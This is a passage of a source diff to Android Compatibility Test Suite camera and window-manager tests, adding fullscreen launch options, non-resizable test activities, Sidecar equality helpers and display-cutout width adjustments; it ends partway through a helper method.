@@ -1041,11 +1041,13 @@
      * @return The value reported by the camera device or the defaultValue otherwise.
      */
     public int getSensitivityMinimumOrDefault(int defaultValue) {
-        Range<Integer> range = getValueFromKeyNonNull(
+        Range<Integer> range = mCharacteristics.get(
                 CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
         if (range == null) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
-                    "had no valid minimum value; using default of " + defaultValue);
+            if (isHardwareLevelAtLeastFull()) {
+                failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
+                        "had no valid minimum value; using default of " + defaultValue);
+            }
             return defaultValue;
         }
         return range.getLower();
@@ -1074,11 +1076,13 @@
      * @return The value reported by the camera device or the defaultValue otherwise.
      */
     public int getSensitivityMaximumOrDefault(int defaultValue) {
-        Range<Integer> range = getValueFromKeyNonNull(
+        Range<Integer> range = mCharacteristics.get(
                 CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
         if (range == null) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
-                    "had no valid maximum value; using default of " + defaultValue);
+            if (isHardwareLevelAtLeastFull()) {
+                failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
+                        "had no valid maximum value; using default of " + defaultValue);
+            }
             return defaultValue;
         }
         return range.getUpper();
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index 9425c2d..247a7ce 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -55,6 +55,13 @@
         <option name="teardown-command"
                 value="settings put secure android.car.ENABLE_INITIAL_NOTICE_SCREEN_TO_USER 1" />
     </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+      <!-- Disable hidden API checking, see b/166236554 -->
+        <option name="run-command" value="settings put global hidden_api_policy 1" />
+        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+    </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest">
         <option name="package" value="android.server.wm.cts"/>
         <option name="runtime-hint" value="1h"/>
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index e17658a..ff8bb8a 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -267,6 +267,22 @@
                   android:exported="true"
                   android:theme="@style/TranslucentTheme"
         />
+        <activity android:name=".TopNonResizableActivity"
+                  android:exported="true"
+                  android:resizeableActivity="false"
+                  android:theme="@style/NoPreview"
+        />
+        <activity android:name=".BottomNonResizableActivity"
+                  android:exported="true"
+                  android:resizeableActivity="false"
+                  android:theme="@style/NoPreview"
+        />
+        <activity android:name=".TranslucentTopNonResizableActivity"
+                  android:process=".top_process"
+                  android:exported="true"
+                  android:resizeableActivity="false"
+                  android:theme="@style/TranslucentTheme"
+        />
         <!-- An animation test with an explicitly opaque theme, overriding device defaults, as the
              animation background being tested is not used in translucent activities. -->
         <activity android:name=".AnimationTestActivity"
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
index 4a1a9a0..82c3770 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
@@ -17,6 +17,7 @@
 package android.server.wm.app;
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.app.Components.AssistantActivity.EXTRA_ASSISTANT_DISPLAY_ID;
@@ -46,14 +47,13 @@
             final Intent launchIntent = new Intent();
             launchIntent.setComponent(launchActivity)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+            final ActivityOptions activityOptions = ActivityOptions.makeBasic();
+            activityOptions.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
             if (getIntent().hasExtra(EXTRA_ASSISTANT_DISPLAY_ID)) {
-                ActivityOptions displayOptions = ActivityOptions.makeBasic();
-                displayOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
+                activityOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
                         .getStringExtra(EXTRA_ASSISTANT_DISPLAY_ID)));
-                startActivity(launchIntent, displayOptions.toBundle());
-            } else {
-                startActivity(launchIntent);
             }
+            startActivity(launchIntent, activityOptions.toBundle());
         }
 
         // Enter pip if requested
@@ -84,6 +84,7 @@
 
         final ActivityOptions options = ActivityOptions.makeBasic();
         options.setLaunchActivityType(ACTIVITY_TYPE_ASSISTANT);
+        options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
         caller.startActivity(intent, options.toBundle());
     }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/BottomNonResizableActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BottomNonResizableActivity.java
new file mode 100644
index 0000000..187beec
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BottomNonResizableActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+public class BottomNonResizableActivity extends BottomActivity {
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index d3b5621..bace877 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -27,6 +27,7 @@
     public static final ComponentName ANIMATION_TEST_ACTIVITY = component("AnimationTestActivity");
     public static final ComponentName ASSISTANT_ACTIVITY = component("AssistantActivity");
     public static final ComponentName BOTTOM_ACTIVITY = component("BottomActivity");
+    public static final ComponentName BOTTOM_NON_RESIZABLE_ACTIVITY = component("BottomNonResizableActivity");
     public static final ComponentName BOTTOM_LEFT_LAYOUT_ACTIVITY =
             component("BottomLeftLayoutActivity");
     public static final ComponentName BOTTOM_RIGHT_LAYOUT_ACTIVITY =
@@ -127,6 +128,7 @@
     public static final ComponentName TEST_ACTIVITY = component("TestActivity");
     public static final ComponentName TOAST_ACTIVITY = component("ToastActivity");
     public static final ComponentName TOP_ACTIVITY = component("TopActivity");
+    public static final ComponentName TOP_NON_RESIZABLE_ACTIVITY = component("TopNonResizableActivity");
     public static final ComponentName TEST_ACTIVITY_WITH_SAME_AFFINITY =
             component("TestActivityWithSameAffinity");
     public static final ComponentName TEST_LIVE_WALLPAPER_SERVICE = component("LiveWallpaper");
@@ -138,6 +140,8 @@
             component("TranslucentAssistantActivity");
     public static final ComponentName TRANSLUCENT_TOP_ACTIVITY =
             component("TranslucentTopActivity");
+    public static final ComponentName TRANSLUCENT_TOP_NON_RESIZABLE_ACTIVITY =
+        component("TranslucentTopNonResizableActivity");
     public static final ComponentName TRANSLUCENT_TEST_ACTIVITY =
             component("TranslucentTestActivity");
     public static final ComponentName TURN_SCREEN_ON_ACTIVITY = component("TurnScreenOnActivity");
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopNonResizableActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopNonResizableActivity.java
new file mode 100644
index 0000000..07bb613
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopNonResizableActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+public class TopNonResizableActivity extends TopActivity {
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentAssistantActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentAssistantActivity.java
index 3806377..98bb6a2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentAssistantActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentAssistantActivity.java
@@ -17,6 +17,7 @@
 package android.server.wm.app;
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
@@ -40,6 +41,7 @@
 
         final ActivityOptions options = ActivityOptions.makeBasic();
         options.setLaunchActivityType(ACTIVITY_TYPE_ASSISTANT);
+        options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
         caller.startActivity(intent, options.toBundle());
     }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentTopNonResizableActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentTopNonResizableActivity.java
new file mode 100644
index 0000000..b92c14d
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentTopNonResizableActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+public class TranslucentTopNonResizableActivity extends TranslucentTopActivity {
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
index 2552686..b8b7f25 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
@@ -136,8 +136,12 @@
             assertThat(featureRect.top).isAtLeast(0);
             assertThat(featureRect.right).isAtLeast(0);
             assertThat(featureRect.bottom).isAtLeast(0);
-            assertThat(featureRect.right).isAtMost(mActivity.getWidth());
-            assertThat(featureRect.bottom).isAtMost(mActivity.getHeight());
+
+            final Rect activityBounds =
+                    mActivity.getWindowManager().getCurrentWindowMetrics().getBounds();
+
+            assertThat(featureRect.right).isAtMost(activityBounds.width());
+            assertThat(featureRect.bottom).isAtMost(activityBounds.height());
         }
     }
 
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
index e784351..31e496ba 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
@@ -73,11 +73,55 @@
             return false;
         }
         final TestSidecarWindowLayoutInfo other = (TestSidecarWindowLayoutInfo) obj;
-        return mSidecarWindowLayoutInfo.equals(other.mSidecarWindowLayoutInfo);
+        return areSidecarWindowLayoutInfoEqual(mSidecarWindowLayoutInfo,
+                other.mSidecarWindowLayoutInfo);
     }
 
     @Override
     public int hashCode() {
         return mSidecarWindowLayoutInfo.hashCode();
     }
+
+    /**
+     * Compares two {@link SidecarWindowLayoutInfo} with respect to their core data. This method is
+     * necessary because {@link SidecarWindowLayoutInfo} did not implement {@code equals}. Also
+     * Sidecar has been deprecated and frozen, so this method is stable.
+     *
+     * @param lhs {@link SidecarWindowLayoutInfo} to be compared.
+     * @param rhs {@link SidecarWindowLayoutInfo} to be compared.
+     * @return {@code true} if objects are equal with respect to data otherwise return
+     * {@code false}.
+     */
+    private static boolean areSidecarWindowLayoutInfoEqual(@NonNull SidecarWindowLayoutInfo lhs,
+            @NonNull SidecarWindowLayoutInfo rhs) {
+        if (lhs.displayFeatures == rhs.displayFeatures) {
+            return true;
+        }
+        if (lhs.displayFeatures == null || rhs.displayFeatures == null
+                || lhs.displayFeatures.size() != rhs.displayFeatures.size()) {
+            return false;
+        }
+        for (int i = 0; i < lhs.displayFeatures.size(); i++) {
+            if (!areSidecarDisplayFeatureEqual(lhs.displayFeatures.get(i),
+                    rhs.displayFeatures.get(i))) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Compares two {@link SidecarDisplayFeature} with respect to their core data.  This method is
+     * necessary because {@link SidecarWindowLayoutInfo} did not implement {@code equals}.  Also
+     * Sidecar has been deprecated and frozen, so this method is stable.
+     *
+     * @param lhs {@link SidecarDisplayFeature} to be compared.
+     * @param rhs {@link SidecarDisplayFeature} to be compared.
+     * @return {@code true} if objects are equal with respect to data otherwise return
+     * {@code false}.
+     */
+    private static boolean areSidecarDisplayFeatureEqual(@NonNull SidecarDisplayFeature lhs,
+            @NonNull SidecarDisplayFeature rhs) {
+        return lhs.getType() == rhs.getType() && lhs.getRect().equals(rhs.getRect());
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 630b13c..7fda85e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -139,7 +139,7 @@
      */
     @Test
     public void testHomeVisibleOnActivityTaskPinned() throws Exception {
-        if (!supportsPip()) {
+        if (!supportsPip() || !hasHomeScreen()) {
             return;
         }
 
@@ -332,7 +332,7 @@
         mWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, true);
 
         // Launch a different activity on top.
-        launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+        launchActivity(BROADCAST_RECEIVER_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
         mWmState.waitForActivityState(MOVE_TASK_TO_BACK_ACTIVITY,STATE_STOPPED);
         final boolean shouldBeVisible =
@@ -479,6 +479,7 @@
                 .setIntentExtra(
                         extra -> extra.putBoolean(Components.TestActivity.EXTRA_NO_IDLE, true))
                 .setTargetActivity(TEST_ACTIVITY)
+                .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
                 .execute();
     }
 
@@ -553,7 +554,7 @@
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.sleepDevice();
         separateTestJournal();
-        launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+        launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
         assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
         assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 3fcd640..0ac11b7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -600,8 +600,8 @@
 
         // Start resizeable activity that handles configuration changes.
         separateTestJournal();
-        launchActivity(TEST_ACTIVITY);
-        launchActivity(RESIZEABLE_ACTIVITY);
+        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        launchActivity(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
 
         final int displayId = mWmState.getDisplayByActivity(RESIZEABLE_ACTIVITY);
@@ -647,8 +647,10 @@
 
         TestActivitySession<ConfigChangeHandlingActivity> activitySession
                 = createManagedTestActivitySession();
-        activitySession.launchTestActivityOnDisplaySync(ConfigChangeHandlingActivity.class,
-                Display.DEFAULT_DISPLAY);
+        activitySession.launchTestActivityOnDisplaySync(
+                ConfigChangeHandlingActivity.class,
+                Display.DEFAULT_DISPLAY,
+                WINDOWING_MODE_FULLSCREEN);
         final ConfigChangeHandlingActivity activity = activitySession.getActivity();
 
         VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
@@ -830,7 +832,7 @@
 
         // Move activity back to docked stack.
         separateTestJournal();
-        setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        moveTaskToPrimarySplitScreen(mWmState.getTaskByActivity(activityName).mTaskId);
         final SizeInfo finalDockedSizes = getActivityDisplaySize(activityName);
 
         // After activity configuration was changed twice it must report same size as original one.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index 267bec9..d777db2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -209,7 +209,7 @@
 
         // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
         // the fullscreen activity is still visible and on top after the assistant activity finishes
-        launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
+        launchActivityOnDisplay(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
         try (final AssistantSession assistantSession = new AssistantSession()) {
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
@@ -265,7 +265,7 @@
             // Launch a fullscreen app and then launch the assistant and check to see that it is
             // also visible
             removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
-            launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
+            launchActivityOnDisplay(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
             waitForValidStateWithActivityType(
@@ -336,7 +336,7 @@
 
             // Launch a new fullscreen activity
             // Using Animation Test Activity because it is opaque on all devices.
-            launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, mAssistantDisplayId);
+            launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
             // Wait for animation finished.
             mWmState.waitForActivityState(ANIMATION_TEST_ACTIVITY, STATE_RESUMED);
             mWmState.assertVisibility(ASSISTANT_ACTIVITY, isAssistantOnTop());
@@ -367,7 +367,7 @@
 
             // Launch a fullscreen activity and a PIP activity, then launch the assistant, and
             // ensure that the test activity is still visible
-            launchActivity(TEST_ACTIVITY);
+            launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
             launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_IS_TRANSLUCENT, String.valueOf(true));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
index 850870a..2b7089d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.server.wm.StateLogger.log;
 import static android.server.wm.StateLogger.logE;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
@@ -206,7 +207,7 @@
 
     private void testRotation(ComponentName activityName, int rotationStep, int numRelaunch,
             int numConfigChange) {
-        launchActivity(activityName);
+        launchActivity(activityName, WINDOWING_MODE_FULLSCREEN);
         mWmState.computeState(activityName);
 
         final int initialRotation = 4 - rotationStep;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
index fa5884a..ddc8163 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
@@ -16,6 +16,8 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TEST_DREAM_SERVICE;
 import static android.server.wm.app.Components.TEST_STUBBORN_DREAM_SERVICE;
 import static android.server.wm.ComponentNameUtils.getWindowName;
@@ -48,7 +50,7 @@
     private static final long ACTIVITY_STOP_TIMEOUT = 3000;
 
     // Timeout after which the dream should have been forcefully stopped
-    private static final long ACTIVITY_FORCE_STOP_TIMEOUT = 5500;
+    private static final long ACTIVITY_FORCE_STOP_TIMEOUT = 6500;
 
     private ComponentName mDreamActivityName;
 
@@ -115,8 +117,16 @@
                    && !mWmState.containsActivity(mDreamActivityName));
     }
 
+    private void startFullscreenTestActivity() {
+        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Test activity should be the top resumed activity");
+        mWmState.assertVisibility(TEST_ACTIVITY, true);
+    }
+
     @Test
     public void testStartAndStopDream() throws Exception {
+        startFullscreenTestActivity();
         setActiveDream(TEST_DREAM_SERVICE);
 
         startDream(TEST_DREAM_SERVICE);
@@ -124,14 +134,16 @@
                 "Dream activity should be the top resumed activity");
         mWmState.waitForValidState(mWmState.getHomeActivityName());
         mWmState.assertVisibility(mWmState.getHomeActivityName(), false);
+        mWmState.waitForValidState(TEST_ACTIVITY);
+        mWmState.assertVisibility(TEST_ACTIVITY, false);
 
         assertTrue(getIsDreaming());
 
         stopDream();
         mWmState.waitAndAssertActivityRemoved(mDreamActivityName);
 
-        waitAndAssertTopResumedActivity(mWmState.getHomeActivityName(), DEFAULT_DISPLAY,
-                "Home activity should show when dream is stopped");
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Previous top activity should show when dream is stopped");
     }
 
     @Test
@@ -155,6 +167,7 @@
 
     @Test
     public void testForceStopStubbornDream() throws Exception {
+        startFullscreenTestActivity();
         setActiveDream(TEST_STUBBORN_DREAM_SERVICE);
 
         startDream(TEST_STUBBORN_DREAM_SERVICE);
@@ -162,6 +175,8 @@
                 "Dream activity should be the top resumed activity");
         mWmState.waitForValidState(mWmState.getHomeActivityName());
         mWmState.assertVisibility(mWmState.getHomeActivityName(), false);
+        mWmState.waitForValidState(TEST_ACTIVITY);
+        mWmState.assertVisibility(TEST_ACTIVITY, false);
 
         stopDream();
 
@@ -169,8 +184,8 @@
 
         assertDreamActivityGone();
         assertFalse(getIsDreaming());
-        waitAndAssertTopResumedActivity(mWmState.getHomeActivityName(), DEFAULT_DISPLAY,
-                "Home activity should show when dream is stopped");
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Previous top activity should show when dream is stopped");
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
index 342c5b9..1567288 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
@@ -24,6 +24,7 @@
 import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 
+import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Rect;
@@ -82,15 +83,26 @@
 
     @Test
     public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
+        launchActivity(TEST_ACTIVITY);
+
+        mWmState.computeState(TEST_ACTIVITY);
+
+        final ActivityTask testActivityTask =
+                mWmState.getTaskByActivity(TEST_ACTIVITY);
+        Rect expectedBounds = testActivityTask.getBounds();
+        mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
+        mWmState.waitFor((wmState) ->
+                        !wmState.containsActivity(TEST_ACTIVITY),
+                "Waiting for test activity to finish...");
+
         launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FREEFORM);
 
         mWmState.computeState(NON_RESIZEABLE_ACTIVITY);
 
-        final ActivityTask task =
+        final ActivityTask nonResizeableActivityTask =
                 mWmState.getTaskByActivity(NON_RESIZEABLE_ACTIVITY);
-        final ActivityTask stack = mWmState.getRootTask(task.mRootTaskId);
 
-        if (task.isFullscreen()) {
+        if (nonResizeableActivityTask.isFullscreen()) {
             // If the task is on the fullscreen stack, then we know that it will have bounds that
             // fill the entire display.
             return;
@@ -98,8 +110,7 @@
 
         // If the task is not on the fullscreen stack, then compare the task bounds to the display
         // bounds.
-        assertEquals(mWmState.getDisplay(stack.mDisplayId).getDisplayRect(),
-                task.getBounds());
+        assertEquals(expectedBounds, nonResizeableActivityTask.getBounds());
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
index 8717771..b54f091 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
@@ -25,6 +25,7 @@
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TOP_LEFT_LAYOUT_ACTIVITY;
 import static android.server.wm.app.Components.TOP_RIGHT_LAYOUT_ACTIVITY;
+import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -34,6 +35,7 @@
 import android.graphics.Rect;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState.WindowState;
+import android.view.DisplayCutout;
 
 import org.junit.Test;
 
@@ -116,8 +118,10 @@
         final int minWidth = dpToPx(MIN_WIDTH_DP, mDisplay.getDpi());
         final int minHeight = dpToPx(MIN_HEIGHT_DP, mDisplay.getDpi());
         final Rect containingRect = mWindowState.getContainingFrame();
+        final int cutoutSize = getCutoutSizeByHorGravity(GRAVITY_HOR_LEFT);
 
-        assertEquals("Min width is incorrect", minWidth, containingRect.width());
+        assertEquals("Min width is incorrect", minWidth,
+                containingRect.width() + cutoutSize);
         assertEquals("Min height is incorrect", minHeight, containingRect.height());
     }
 
@@ -186,7 +190,9 @@
     private void verifyFrameSizeAndPosition(
             int vGravity, int hGravity, int expectedWidthPx, int expectedHeightPx,
             Rect containingFrame, Rect parentFrame) {
-        assertEquals("Width is incorrect", expectedWidthPx, containingFrame.width());
+        final int cutoutSize = getCutoutSizeByHorGravity(hGravity);
+        assertEquals("Width is incorrect",
+                expectedWidthPx, containingFrame.width() + cutoutSize);
         assertEquals("Height is incorrect", expectedHeightPx, containingFrame.height());
 
         if (vGravity == GRAVITY_VER_TOP) {
@@ -196,9 +202,29 @@
         }
 
         if (hGravity == GRAVITY_HOR_LEFT) {
-            assertEquals("Should be on the left", parentFrame.left, containingFrame.left);
+            assertEquals("Should be on the left",
+                    parentFrame.left, containingFrame.left - cutoutSize);
         } else if (hGravity == GRAVITY_HOR_RIGHT){
-            assertEquals("Should be on the right", parentFrame.right, containingFrame.right);
+            assertEquals("Should be on the right",
+                    parentFrame.right, containingFrame.right + cutoutSize);
+        }
+    }
+
+    private int getCutoutSizeByHorGravity(int hGravity) {
+        DisplayCutout cutout = mDm.getDisplay(DEFAULT_DISPLAY).getCutout();
+        if (cutout == null) {
+            return 0;
+        }
+
+        // When the layoutInDisplayCutoutMode is default, the status bar & navigation bar already
+        // take top and bottom cutout into account.
